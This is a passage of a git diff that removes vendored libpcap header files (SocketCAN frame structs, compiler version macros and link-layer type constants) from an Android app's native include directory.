-#endif /* !defined(_NET_BPF_H_) && !defined(_BPF_H_) && !defined(_H_BPF) && !defined(lib_pcap_bpf_h) */ diff --git a/android/app/src/main/cpp/include/can_socketcan.h b/android/app/src/main/cpp/include/can_socketcan.h deleted file mode 100644 index d3a1cfb..0000000 --- a/android/app/src/main/cpp/include/can_socketcan.h +++ /dev/null @@ -1,79 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * This code is derived from the Stanford/CMU enet packet filter, - * (net/enet.c) distributed as part of 4.3BSD, and code contributed - * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence - * Berkeley Laboratory. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_can_socketcan_h -#define lib_pcap_can_socketcan_h - -#include - -/* - * SocketCAN header for CAN and CAN FD frames, as per - * Documentation/networking/can.rst in the Linux source. - */ -typedef struct { - uint32_t can_id; - uint8_t payload_length; - uint8_t fd_flags; - uint8_t reserved1; - uint8_t reserved2; -} pcap_can_socketcan_hdr; - -/* Bits in the fd_flags field */ -#define CANFD_BRS 0x01 /* bit rate switch (second bitrate for payload data) */ -#define CANFD_ESI 0x02 /* error state indicator of the transmitting node */ -#define CANFD_FDF 0x04 /* mark CAN FD for dual use of CAN format */ - -/* - * SocketCAN header for CAN XL frames, as per Linux's can.h header. - * This is different from pcap_can_socketcan_hdr; the flags field - * overlaps with the payload_length field in pcap_can_socketcan_hdr - - * the payload_length field in a CAN or CAN FD frame never has the - * 0x80 bit set, and the flags field in a CAN XL frame always has - * it set, allowing code reading the frame to determine whether - * it's CAN XL or not. - */ -typedef struct { - uint32_t priority_vcid; - uint8_t flags; - uint8_t sdu_type; - uint16_t payload_length; - uint32_t acceptance_field; -} pcap_can_socketcan_xl_hdr; - -/* Bits in the flags field */ -#define CANXL_SEC 0x01 /* Simple Extended Content (security/segmentation) */ -#define CANXL_RRS 0x02 /* Remote Request Substitution */ -#define CANXL_XLF 0x80 /* mark to distinguish CAN XL from CAN/CAN FD frames */ - -#endif diff --git a/android/app/src/main/cpp/include/compiler-tests.h b/android/app/src/main/cpp/include/compiler-tests.h deleted file mode 100644 index fbced49..0000000 --- a/android/app/src/main/cpp/include/compiler-tests.h +++ /dev/null @@ -1,198 +0,0 @@ -/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ -/* - * Copyright (c) 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by the Computer Systems - * Engineering Group at Lawrence Berkeley Laboratory. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_compiler_tests_h -#define lib_pcap_compiler_tests_h - -/* - * This was introduced by Clang: - * - * https://clang.llvm.org/docs/LanguageExtensions.html#has-attribute - * - * in some version (which version?); it has been picked up by GCC 5.0. - */ -#ifndef __has_attribute - /* - * It's a macro, so you can check whether it's defined to check - * whether it's supported. - * - * If it's not, define it to always return 0, so that we move on to - * the fallback checks. - */ - #define __has_attribute(x) 0 -#endif - -/* - * Note that the C90 spec's "6.8.1 Conditional inclusion" and the - * C99 spec's and C11 spec's "6.10.1 Conditional inclusion" say: - * - * Prior to evaluation, macro invocations in the list of preprocessing - * tokens that will become the controlling constant expression are - * replaced (except for those macro names modified by the defined unary - * operator), just as in normal text. If the token "defined" is - * generated as a result of this replacement process or use of the - * "defined" unary operator does not match one of the two specified - * forms prior to macro replacement, the behavior is undefined. - * - * so you shouldn't use defined() in a #define that's used in #if or - * #elif. Some versions of Clang, for example, will warn about this. - * - * Instead, we check whether the pre-defined macros for particular - * compilers are defined and, if not, define the "is this version XXX - * or a later version of this compiler" macros as 0. - */ - -/* - * Check whether this is GCC major.minor or a later release, or some - * compiler that claims to be "just like GCC" of that version or a - * later release. - */ - -#if ! defined(__GNUC__) - /* Not GCC and not "just like GCC" */ - #define PCAP_IS_AT_LEAST_GNUC_VERSION(major, minor) 0 -#else - /* GCC or "just like GCC" */ - #define PCAP_IS_AT_LEAST_GNUC_VERSION(major, minor) \ - (__GNUC__ > (major) || \ - (__GNUC__ == (major) && __GNUC_MINOR__ >= (minor))) -#endif - -/* - * Check whether this is Clang major.minor or a later release. - */ - -#if !defined(__clang__) || !defined(__clang_major__) || !defined(__clang_minor__) - /* Not Clang or very old Clang that does not define the version macros. */ - #define PCAP_IS_AT_LEAST_CLANG_VERSION(major, minor) 0 -#else - /* Clang */ - #define PCAP_IS_AT_LEAST_CLANG_VERSION(major, minor) \ - (__clang_major__ > (major) || \ - (__clang_major__ == (major) && __clang_minor__ >= (minor))) -#endif - -/* - * Check whether this is Sun C/SunPro C/Oracle Studio major.minor - * or a later release. - * - * The version number in __SUNPRO_C is encoded in hex BCD, with the - * uppermost hex digit being the major version number, the next - * one or two hex digits being the minor version number, and - * the last digit being the patch version. - * - * It represents the *compiler* version, not the product version; - * see - * - * https://sourceforge.net/p/predef/wiki/Compilers/ - * - * for a partial mapping, which we assume continues for later - * 12.x product releases. - */ - -#if ! defined(__SUNPRO_C) - /* Not Sun/Oracle C */ - #define PCAP_IS_AT_LEAST_SUNC_VERSION(major,minor) 0 -#else - /* Sun/Oracle C */ - #define PCAP_SUNPRO_VERSION_TO_BCD(major, minor) \ - (((minor) >= 10) ? \ - (((major) << 12) | (((minor)/10) << 8) | (((minor)%10) << 4)) : \ - (((major) << 8) | ((minor) << 4))) - #define PCAP_IS_AT_LEAST_SUNC_VERSION(major,minor) \ - (__SUNPRO_C >= PCAP_SUNPRO_VERSION_TO_BCD((major), (minor))) -#endif - -/* - * Check whether this is IBM XL C major.minor or a later release. - * - * The version number in __xlC__ has the major version in the - * upper 8 bits and the minor version in the lower 8 bits. - * On AIX __xlC__ is always defined, __ibmxl__ becomes defined in XL C 16.1. - * On Linux since XL C 13.1.6 __xlC__ is not defined by default anymore, but - * __ibmxl__ is defined since at least XL C 13.1.1. - */ - -#if ! defined(__xlC__) && ! defined(__ibmxl__) - /* Not XL C */ - #define PCAP_IS_AT_LEAST_XL_C_VERSION(major,minor) 0 -#else - /* XL C */ - #if defined(__ibmxl__) - /* - * Later Linux version of XL C; use __ibmxl_version__ to test - * the version. - */ - #define PCAP_IS_AT_LEAST_XL_C_VERSION(major, minor) \ - (__ibmxl_version__ > (major) || \ - (__ibmxl_version__ == (major) && __ibmxl_release__ >= (minor))) - #else /* __ibmxl__ */ - /* - * __ibmxl__ not defined; use __xlC__ to test the version. - */ - #define PCAP_IS_AT_LEAST_XL_C_VERSION(major, minor) \ - (__xlC__ >= (((major) << 8) | (minor))) - #endif /* __ibmxl__ */ -#endif - -/* - * Check whether this is HP aC++/HP C major.minor or a later release. - * - * __HP_aCC is defined by the C++ compiler; its value is the version of - * the compiler, encoded in zero-padded decimal BCD, with the "A." (or - * "B."?) stripped off, the uppermost two decimal digits being the major - * version number, the next two decimal digits being the minor version - * number, and the last two decimal digits being the patch version. - * (Strip off the A./B., remove the . between the major and minor version - * number, and add two digits of patch.) - * - * __HP_cc is defined by the C compiler; its value doesn't appear to be - * documented in any HP/HPE documentation, but it does appear to be - * encoded in the same fashion as __HP_aCC. - */ - -#if defined(__HP_cc) - /* HP C */ - #define PCAP_IS_AT_LEAST_HP_C_CXX_VERSION(major,minor) \ - (__HP_cc >= ((major)*10000 + (minor)*100)) -#elif defined(__HP_aCC) - /* HP C++ */ - #define PCAP_IS_AT_LEAST_HP_C_CXX_VERSION(major,minor) \ - (__HP_aCC >= ((major)*10000 + (minor)*100)) -#else - /* Not HP C */ - #define PCAP_IS_AT_LEAST_HP_C_CXX_VERSION(major,minor) 0 -#endif - -#endif /* lib_pcap_compiler_tests_h */ diff --git a/android/app/src/main/cpp/include/dlt.h b/android/app/src/main/cpp/include/dlt.h deleted file mode 100644 index affe7d1..0000000 --- a/android/app/src/main/cpp/include/dlt.h +++ /dev/null @@ -1,1680 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * This code is derived from the Stanford/CMU enet packet filter, - * (net/enet.c) distributed as part of 4.3BSD, and code contributed - * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence - * Berkeley Laboratory. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - * - * @(#)bpf.h 7.1 (Berkeley) 5/7/91 - */ - -#ifndef lib_pcap_dlt_h -#define lib_pcap_dlt_h - -/* - * Link-layer header type codes. - * - * Do *NOT* add new values to this list without asking - * "tcpdump-workers@lists.tcpdump.org" for a value. Otherwise, you run - * the risk of using a value that's already being used for some other - * purpose, and of having tools that read libpcap-format captures not - * being able to handle captures with your new DLT_ value, with no hope - * that they will ever be changed to do so (as that would destroy their - * ability to read captures using that value for that other purpose). - * - * See - * - * https://www.tcpdump.org/linktypes.html - * - * for detailed descriptions of some of these link-layer header types. - */ - -/* - * These are the types that are the same on all platforms, and that - * have been defined by for ages. - * - * DLT_LOW_MATCHING_MIN is the lowest such value; DLT_LOW_MATCHING_MAX - * is the highest such value. - */ -#define DLT_LOW_MATCHING_MIN 0 - -#define DLT_NULL 0 /* BSD loopback encapsulation */ -#define DLT_EN10MB 1 /* Ethernet (10Mb) */ -#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */ -#define DLT_AX25 3 /* Amateur Radio AX.25 */ -#define DLT_PRONET 4 /* Proteon ProNET Token Ring */ -#define DLT_CHAOS 5 /* Chaos */ -#define DLT_IEEE802 6 /* 802.5 Token Ring */ -#define DLT_ARCNET 7 /* ARCNET, with BSD-style header */ -#define DLT_SLIP 8 /* Serial Line IP */ -#define DLT_PPP 9 /* Point-to-point Protocol */ -#define DLT_FDDI 10 /* FDDI */ - -/* - * In case the code that includes this file (directly or indirectly) - * has also included OS files that happen to define DLT_LOW_MATCHING_MAX, - * with a different value (perhaps because that OS hasn't picked up - * the latest version of our DLT definitions), we undefine the - * previous value of DLT_LOW_MATCHING_MAX. - * - * (They shouldn't, because only those 10 values were assigned in - * the Good Old Days, before DLT_ code assignment became a bit of - * a free-for-all. Perhaps 11 is DLT_ATM_RFC1483 everywhere 11 - * is used at all, but 12 is DLT_RAW on some platforms but not - * OpenBSD, and the fun continues for several other values.) - */ -#ifdef DLT_LOW_MATCHING_MAX -#undef DLT_LOW_MATCHING_MAX -#endif - -#define DLT_LOW_MATCHING_MAX DLT_FDDI /* highest value in this "matching" range */ - -/* - * These are types that are different on some platforms, and that - * have been defined by for ages. We use #ifdefs to - * detect the BSDs that define them differently from the traditional - * libpcap - * - * XXX - DLT_ATM_RFC1483 is 13 in BSD/OS, and DLT_RAW is 14 in BSD/OS, - * but I don't know what the right #define is for BSD/OS. The last - * release was in October 2003; if anybody cares about making this - * work on BSD/OS, give us a pull request for a change to make it work. - */ -#define DLT_ATM_RFC1483 11 /* LLC-encapsulated ATM */ - -#ifdef __OpenBSD__ -#define DLT_RAW 14 /* raw IP */ -#else -#define DLT_RAW 12 /* raw IP */ -#endif - -/* - * Given that the only OS that currently generates BSD/OS SLIP or PPP - * is, well, BSD/OS, arguably everybody should have chosen its values - * for DLT_SLIP_BSDOS and DLT_PPP_BSDOS, which are 15 and 16, but they - * didn't. So it goes. - */ -#if defined(__NetBSD__) || defined(__FreeBSD__) -#ifndef DLT_SLIP_BSDOS -#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */ -#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */ -#endif -#else -#define DLT_SLIP_BSDOS 15 /* BSD/OS Serial Line IP */ -#define DLT_PPP_BSDOS 16 /* BSD/OS Point-to-point Protocol */ -#endif - -/* - * NetBSD uses 15 for HIPPI. - * - * From a quick look at sys/net/if_hippi.h and sys/net/if_hippisubr.c - * in an older version of NetBSD , the header appears to be: - * - * a 1-byte ULP field (ULP-id)? - * - * a 1-byte flags field; - * - * a 2-byte "offsets" field; - * - * a 4-byte "D2 length" field (D2_Size?); - * - * a 4-byte "destination switch" field (or a 1-byte field - * containing the Forwarding Class, Double_Wide, and Message_Type - * sub fields, followed by a 3-byte Destination_Switch_Address - * field?, HIPPI-LE 3.4-style?); - * - * a 4-byte "source switch" field (or a 1-byte field containing the - * Destination_Address_type and Source_Address_Type fields, followed - * by a 3-byte Source_Switch_Address field, HIPPI-LE 3.4-style?); - * - * a 2-byte reserved field; - * - * a 6-byte destination address field; - * - * a 2-byte "local admin" field; - * - * a 6-byte source address field; - * - * followed by an 802.2 LLC header. - * - * This looks somewhat like something derived from the HIPPI-FP 4.4 - * Header_Area, followed an HIPPI-FP 4.4 D1_Area containing a D1 data set - * with the header in HIPPI-LE 3.4 (ANSI X3.218-1993), followed by an - * HIPPI-FP 4.4 D2_Area (with no Offset) containing the 802.2 LLC header - * and payload? Or does the "offsets" field contain the D2_Offset, - * with that many bytes of offset before the payload? - * - * See http://wotug.org/parallel/standards/hippi/ for an archive of - * HIPPI specifications. - * - * RFC 2067 imposes some additional restrictions. It says that the - * Offset is always zero - * - * HIPPI is long-gone, and the source files found in an older version - * of NetBSD don't appear to be in the main CVS branch, so we may never - * see a capture with this link-layer type. - */ -#if defined(__NetBSD__) -#define DLT_HIPPI 15 /* HIPPI */ -#endif - -/* - * NetBSD uses 16 for DLT_HDLC; see below. - * BSD/OS uses it for PPP; see above. - * As far as I know, no other OS uses it for anything; don't use it - * for anything else. - */ - -/* - * 17 was used for DLT_PFLOG in OpenBSD; it no longer is. - * - * It was DLT_LANE8023 in SuSE 6.3, so we defined LINKTYPE_PFLOG - * as 117 so that pflog captures would use a link-layer header type - * value that didn't collide with any other values. On all - * platforms other than OpenBSD, we defined DLT_PFLOG as 117, - * and we mapped between LINKTYPE_PFLOG and DLT_PFLOG. - * - * OpenBSD eventually switched to using 117 for DLT_PFLOG as well. - * - * Don't use 17 for anything else. - */ - -/* - * 18 is used for DLT_PFSYNC in OpenBSD, NetBSD, DragonFly BSD and - * macOS; don't use it for anything else. (FreeBSD uses 121, which - * collides with DLT_HHDLC, even though it doesn't use 18 for - * anything and doesn't appear to have ever used it for anything.) - * - * We define it as 18 on those platforms; it is, unfortunately, used - * for DLT_CIP in SUSE 6.3, so we don't define it as 18 on all - * platforms. We define it as 121 on FreeBSD and as the same - * value that we assigned to LINKTYPE_PFSYNC on all remaining - * platforms. - */ -#if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__DragonFly__) || defined(__APPLE__) -#define DLT_PFSYNC 18 -#endif - -#define DLT_ATM_CLIP 19 /* Linux Classical IP over ATM */ - -/* - * Apparently Redback uses this for its SmartEdge 400/800. I hope - * nobody else decided to use it, too. - */ -#define DLT_REDBACK_SMARTEDGE 32 - -/* - * These values are defined by NetBSD; other platforms should refrain from - * using them for other purposes, so that NetBSD savefiles with link - * types of 50 or 51 can be read as this type on all platforms. - */ -#define DLT_PPP_SERIAL 50 /* PPP over serial with HDLC encapsulation */ -#define DLT_PPP_ETHER 51 /* PPP over Ethernet */ - -/* - * The Axent Raptor firewall - now the Symantec Enterprise Firewall - uses - * a link-layer type of 99 for the tcpdump it supplies. The link-layer - * header has 6 bytes of unknown data, something that appears to be an - * Ethernet type, and 36 bytes that appear to be 0 in at least one capture - * I've seen. - */ -#define DLT_SYMANTEC_FIREWALL 99 - -/* - * Values between 100 and 103 are used in capture file headers as - * link-layer header type LINKTYPE_ values corresponding to DLT_ types - * that differ between platforms; don't use those values for new DLT_ - * new types. - */ - -/* - * Values starting with 104 are used for newly-assigned link-layer - * header type values; for those link-layer header types, the DLT_ - * value returned by pcap_datalink() and passed to pcap_open_dead(), - * and the LINKTYPE_ value that appears in capture files, are the - * same. - * - * DLT_HIGH_MATCHING_MIN is the lowest such value; DLT_HIGH_MATCHING_MAX is - * the highest such value. - */ -#define DLT_HIGH_MATCHING_MIN 104 - -/* - * This value was defined by libpcap 0.5; platforms that have defined - * it with a different value should define it here with that value - - * a link type of 104 in a save file will be mapped to DLT_C_HDLC, - * whatever value that happens to be, so programs will correctly - * handle files with that link type regardless of the value of - * DLT_C_HDLC. - * - * The name DLT_C_HDLC was used by BSD/OS; we use that name for source - * compatibility with programs written for BSD/OS. - * - * libpcap 0.5 defined it as DLT_CHDLC; we define DLT_CHDLC as well, - * for source compatibility with programs written for libpcap 0.5. - */ -#define DLT_C_HDLC 104 /* Cisco HDLC */ -#define DLT_CHDLC DLT_C_HDLC - -#define DLT_IEEE802_11 105 /* IEEE 802.11 wireless */ - -/* - * 106 is reserved for Linux Classical IP over ATM; it's like DLT_RAW, - * except when it isn't. (I.e., sometimes it's just raw IP, and - * sometimes it isn't.) We currently handle it as DLT_LINUX_SLL, - * so that we don't have to worry about the link-layer header.) - */ - -/* - * Frame Relay; BSD/OS has a DLT_FR with a value of 11, but that collides - * with other values. - * DLT_FR and DLT_FRELAY packets start with the Q.922 Frame Relay header - * (DLCI, etc.). - */ -#define DLT_FRELAY 107 - -/* - * OpenBSD DLT_LOOP, for loopback devices; it's like DLT_NULL, except - * that the AF_ type in the link-layer header is in network byte order. - * - * DLT_LOOP is 12 in OpenBSD, but that's DLT_RAW in other OSes, so - * we don't use 12 for it in OSes other than OpenBSD; instead, we - * use the same value as LINKTYPE_LOOP. - */ -#ifdef __OpenBSD__ -#define DLT_LOOP 12 -#else -#define DLT_LOOP 108 -#endif - -/* - * Encapsulated packets for IPsec; DLT_ENC is 13 in OpenBSD, but that's - * DLT_SLIP_BSDOS in NetBSD, so we don't use 13 for it in OSes other - * than OpenBSD; instead, we use the same value as LINKTYPE_ENC. - */ -#ifdef __OpenBSD__ -#define DLT_ENC 13 -#else -#define DLT_ENC 109 -#endif - -/* - * Values 110 and 111 are reserved for use in capture file headers - * as link-layer types corresponding to DLT_ types that might differ - * between platforms; don't use those values for new DLT_ types - * other than the corresponding DLT_ types. - */ - -/* - * NetBSD uses 16 for (Cisco) "HDLC framing". For other platforms, - * we define it to have the same value as LINKTYPE_NETBSD_HDLC. - */ -#if defined(__NetBSD__) -#define DLT_HDLC 16 /* Cisco HDLC */ -#else -#define DLT_HDLC 112 -#endif - -/* - * Linux cooked sockets. - */ -#define DLT_LINUX_SLL 113 - -/* - * Apple LocalTalk hardware. - */ -#define DLT_LTALK 114 - -/* - * Acorn Econet. - */ -#define DLT_ECONET 115 - -/* - * Reserved for use with OpenBSD ipfilter. - */ -#define DLT_IPFILTER 116 - -/* - * OpenBSD DLT_PFLOG. - */ -#define DLT_PFLOG 117 - -/* - * Registered for Cisco-internal use. - */ -#define DLT_CISCO_IOS 118 - -/* - * For 802.11 cards using the Prism II chips, with a link-layer - * header including Prism monitor mode information plus an 802.11 - * header. - */ -#define DLT_PRISM_HEADER 119 - -/* - * Reserved for Aironet 802.11 cards, with an Aironet link-layer header - * (see Doug Ambrisko's FreeBSD patches). - */ -#define DLT_AIRONET_HEADER 120 - -/* - * Sigh. - * - * 121 was reserved for Siemens HiPath HDLC on 2002-01-25, as - * requested by Tomas Kukosa. - * - * On 2004-02-25, a FreeBSD check in to sys/net/bpf.h was made that - * assigned 121 as DLT_PFSYNC. In current versions, its libpcap - * does DLT_ <-> LINKTYPE_ mapping, mapping DLT_PFSYNC to a - * LINKTYPE_PFSYNC value of 246, so it should write out DLT_PFSYNC - * dump files with 246 as the link-layer header type. (Earlier - * versions might not have done mapping, in which case they would - * have written them out with a link-layer header type of 121.) - * - * OpenBSD, from which pf came, however, uses 18 for DLT_PFSYNC; - * its libpcap does no DLT_ <-> LINKTYPE_ mapping, so it would - * write out DLT_PFSYNC dump files with use 18 as the link-layer - * header type. - * - * NetBSD, DragonFly BSD, and Darwin also use 18 for DLT_PFSYNC; in - * current versions, their libpcaps do DLT_ <-> LINKTYPE_ mapping, - * mapping DLT_PFSYNC to a LINKTYPE_PFSYNC value of 246, so they - * should write out DLT_PFSYNC dump files with 246 as the link-layer - * header type. (Earlier versions might not have done mapping, - * in which case they'd work the same way OpenBSD does, writing - * them out with a link-layer header type of 18.) - * - * We'll define DLT_PFSYNC as: - * - * 18 on NetBSD, OpenBSD, DragonFly BSD, and Darwin; - * - * 121 on FreeBSD; - * - * 246 everywhere else. - * - * We'll define DLT_HHDLC as 121 on everything except for FreeBSD; - * anybody who wants to compile, on FreeBSD, code that uses DLT_HHDLC - * is out of luck. - * - * We'll define LINKTYPE_PFSYNC as 246 on *all* platforms, so that - * savefiles written using *this* code won't use 18 or 121 for PFSYNC, - * they'll all use 246. - * - * Code that uses pcap_datalink() to determine the link-layer header - * type of a savefile won't, when built and run on FreeBSD, be able - * to distinguish between LINKTYPE_PFSYNC and LINKTYPE_HHDLC capture - * files, as pcap_datalink() will give 121 for both of them. Code - * that doesn't, such as the code in Wireshark, will be able to - * distinguish between them. - * - * FreeBSD's libpcap won't map a link-layer header type of 18 - i.e., - * DLT_PFSYNC files from OpenBSD and possibly older versions of NetBSD, - * DragonFly BSD, and macOS - to DLT_PFSYNC, so code built with FreeBSD's - * libpcap won't treat those files as DLT_PFSYNC files. - * - * Other libpcaps won't map a link-layer header type of 121 to DLT_PFSYNC; - * this means they can read DLT_HHDLC files, if any exist, but won't - * treat pcap files written by any older versions of FreeBSD libpcap that - * didn't map to 246 as DLT_PFSYNC files. - */ -#ifdef __FreeBSD__ -#define DLT_PFSYNC 121 -#else -#define DLT_HHDLC 121 -#endif - -/* - * This is for RFC 2625 IP-over-Fibre Channel. - * - * This is not for use with raw Fibre Channel, where the link-layer - * header starts with a Fibre Channel frame header; it's for IP-over-FC, - * where the link-layer header starts with an RFC 2625 Network_Header - * field. - */ -#define DLT_IP_OVER_FC 122 - -/* - * This is for Full Frontal ATM on Solaris with SunATM, with a - * pseudo-header followed by an AALn PDU. - * - * There may be other forms of Full Frontal ATM on other OSes, - * with different pseudo-headers. - * - * If ATM software returns a pseudo-header with VPI/VCI information - * (and, ideally, packet type information, e.g. signalling, ILMI, - * LANE, LLC-multiplexed traffic, etc.), it should not use - * DLT_ATM_RFC1483, but should get a new DLT_ value, so tcpdump - * and the like don't have to infer the presence or absence of a - * pseudo-header and the form of the pseudo-header. - */ -#define DLT_SUNATM 123 /* Solaris+SunATM */ - -/* - * Reserved as per request from Kent Dahlgren - * for private use. - */ -#define DLT_RIO 124 /* RapidIO */ -#define DLT_PCI_EXP 125 /* PCI Express */ -#define DLT_AURORA 126 /* Xilinx Aurora link layer */ - -/* - * Header for 802.11 plus a number of bits of link-layer information - * including radio information, used by some recent BSD drivers as - * well as the madwifi Atheros driver for Linux. - */ -#define DLT_IEEE802_11_RADIO 127 /* 802.11 plus radiotap radio header */ - -/* - * Reserved for the TZSP encapsulation, as per request from - * Chris Waters - * TZSP is a generic encapsulation for any other link type, - * which includes a means to include meta-information - * with the packet, e.g. signal strength and channel - * for 802.11 packets. - */ -#define DLT_TZSP 128 /* Tazmen Sniffer Protocol */ - -/* - * BSD's ARCNET headers have the source host, destination host, - * and type at the beginning of the packet; that's what's handed - * up to userland via BPF. - * - * Linux's ARCNET headers, however, have a 2-byte offset field - * between the host IDs and the type; that's what's handed up - * to userland via PF_PACKET sockets. - * - * We therefore have to have separate DLT_ values for them. - */ -#define DLT_ARCNET_LINUX 129 /* ARCNET */ - -/* - * Juniper-private data link types, as per request from - * Hannes Gredler . The DLT_s are used - * for passing on chassis-internal metainformation such as - * QOS profiles, etc.. - */ -#define DLT_JUNIPER_MLPPP 130 -#define DLT_JUNIPER_MLFR 131 -#define DLT_JUNIPER_ES 132 -#define DLT_JUNIPER_GGSN 133 -#define DLT_JUNIPER_MFR 134 -#define DLT_JUNIPER_ATM2 135 -#define DLT_JUNIPER_SERVICES 136 -#define DLT_JUNIPER_ATM1 137 - -/* - * Apple IP-over-IEEE 1394, as per a request from Dieter Siegmund - * . The header that's presented is an Ethernet-like - * header: - * - * #define FIREWIRE_EUI64_LEN 8 - * struct firewire_header { - * u_char firewire_dhost[FIREWIRE_EUI64_LEN]; - * u_char firewire_shost[FIREWIRE_EUI64_LEN]; - * u_short firewire_type; - * }; - * - * with "firewire_type" being an Ethernet type value, rather than, - * for example, raw GASP frames being handed up. - */ -#define DLT_APPLE_IP_OVER_IEEE1394 138 - -/* - * Various SS7 encapsulations, as per a request from Jeff Morriss - * and subsequent discussions. - */ -#define DLT_MTP2_WITH_PHDR 139 /* pseudo-header with various info, followed by MTP2 */ -#define DLT_MTP2 140 /* MTP2, without pseudo-header */ -#define DLT_MTP3 141 /* MTP3, without pseudo-header or MTP2 */ -#define DLT_SCCP 142 /* SCCP, without pseudo-header or MTP2 or MTP3 */ - -/* - * DOCSIS MAC frames. - */ -#define DLT_DOCSIS 143 - -/* - * Linux-IrDA packets. Protocol defined at https://www.irda.org. - * Those packets include IrLAP headers and above (IrLMP...), but - * don't include Phy framing (SOF/EOF/CRC & byte stuffing), because Phy - * framing can be handled by the hardware and depend on the bitrate. - * This is exactly the format you would get capturing on a Linux-IrDA - * interface (irdaX), but not on a raw serial port. - * Note the capture is done in "Linux-cooked" mode, so each packet include - * a fake packet header (struct sll_header). This is because IrDA packet - * decoding is dependent on the direction of the packet (incoming or - * outgoing). - * When/if other platform implement IrDA capture, we may revisit the - * issue and define a real DLT_IRDA... - * Jean II - */ -#define DLT_LINUX_IRDA 144 - -/* - * Reserved for IBM SP switch and IBM Next Federation switch. - */ -#define DLT_IBM_SP 145 -#define DLT_IBM_SN 146 - -/* - * Reserved for private use. If you have some link-layer header type - * that you want to use within your organization, with the capture files - * using that link-layer header type not ever be sent outside your - * organization, you can use these values. - * - * No 